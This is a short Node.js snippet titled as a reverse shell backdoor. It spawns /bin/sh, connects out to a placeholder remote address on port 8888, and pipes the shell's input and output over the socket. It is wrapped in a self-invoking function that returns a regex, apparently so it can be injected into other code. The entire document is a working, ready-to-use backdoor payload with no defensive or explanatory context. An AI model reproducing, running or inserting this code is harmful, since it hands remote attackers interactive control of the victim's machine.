[NODEJS] Reverse Shell Backdoor

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh",[]);
    var client = new net.Socket();
    client.connect(8888,"xxx.xxx.xxx.xxx",function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();